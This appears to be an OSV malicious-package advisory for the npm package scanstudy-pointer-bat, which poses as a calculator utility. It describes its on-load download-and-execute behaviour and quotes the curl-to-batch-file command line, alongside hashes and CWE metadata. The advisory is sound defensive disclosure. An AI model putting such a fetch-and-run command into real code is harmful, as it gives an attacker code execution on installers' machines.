MAL-2026-20288

See a problem?
Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/scanstudy-pointer-bat/MAL-2026-20288.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-20288
Published
2026-11-20T03:45:22Z
Modified
2026-11-20T04:30:24Z
Summary
Malicious code in scanstudy-pointer-bat (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (f110b50f6e90e9508c1dfceae3b664a343bea2d5df34e3c3993b1ee874945334)

The package advertises itself as a calculator UI utility but main.js schedules a child_process.exec via setTimeout on require/start that runs curl -fsSL ${rendererUrl} -o render.bat && cmd /c start /b render.bat, downloading a file from a configured URL and executing it as render.bat under cmd. The RENDERER_URL key is absent from the shipped config.json, so the current artifact resolves to an empty URL, but the full download-and-execute machinery is present and reachable on load, giving whoever controls that config key arbitrary code execution on the installer's Windows host. main.js also contains an unused Mandelbrot-style CPU-busy routine (performRoutine) and wraps the exec in a random 0–5 second delay — decoy and timing patterns around the shell-out that are inconsistent with the stated library purpose.

Database specific
{
    "malicious-packages-origins": [
        {
            "id": "IN-MAL-2026-022938",
            "import_time": "2026-11-20T04:13:19.961657192Z",
            "modified_time": "2026-11-20T03:45:22Z",
            "sha256": "f110b50f6e90e9508c1dfceae3b664a343bea2d5df34e3c3993b1ee874945334",
            "source": "amazon-inspector",
            "versions": [
                "1.0.0"
            ]
        }
    ]
}
References
Credits

Affected packages

npm / scanstudy-pointer-bat

Package

Name
scanstudy-pointer-bat
View open source insights on deps.dev
Purl
pkg:npm/scanstudy-pointer-bat

Affected ranges

Affected versions

1.*
1.0.0

Database specific

cwes
[
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    }
]
indicators
{
    "evidence_files": [
        {
            "path": "main.js",
            "sha256": "faafedadb960e0551a1d7528d327e7ebc45d4debe9039f651dc9d21826d037aa",
            "tlsh": "1c21f14406f63429835794668f97a1053707a103290ece4c7e4ed38d7fa3019c9a77fe"
        }
    ],
    "package_integrity": [
        {
            "filename": "scanstudy-pointer-bat-1.0.0.tgz",
            "hashes": {
                "sha1": "a7aa369c19696c6826509a182e822daa6a6bcb8c",
                "sha512_sri": "sha512-Qd2Kv2BXT9tXmCksg/b46BCsYt+ATFuKNeNvbCtzLzmNNTmkYbLTPgX0ti7FkQ3r7P9xKMAkOV3B0s55bOLLwg=="
            }
        }
    ]
}
source
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/scanstudy-pointer-bat/MAL-2026-20288.json"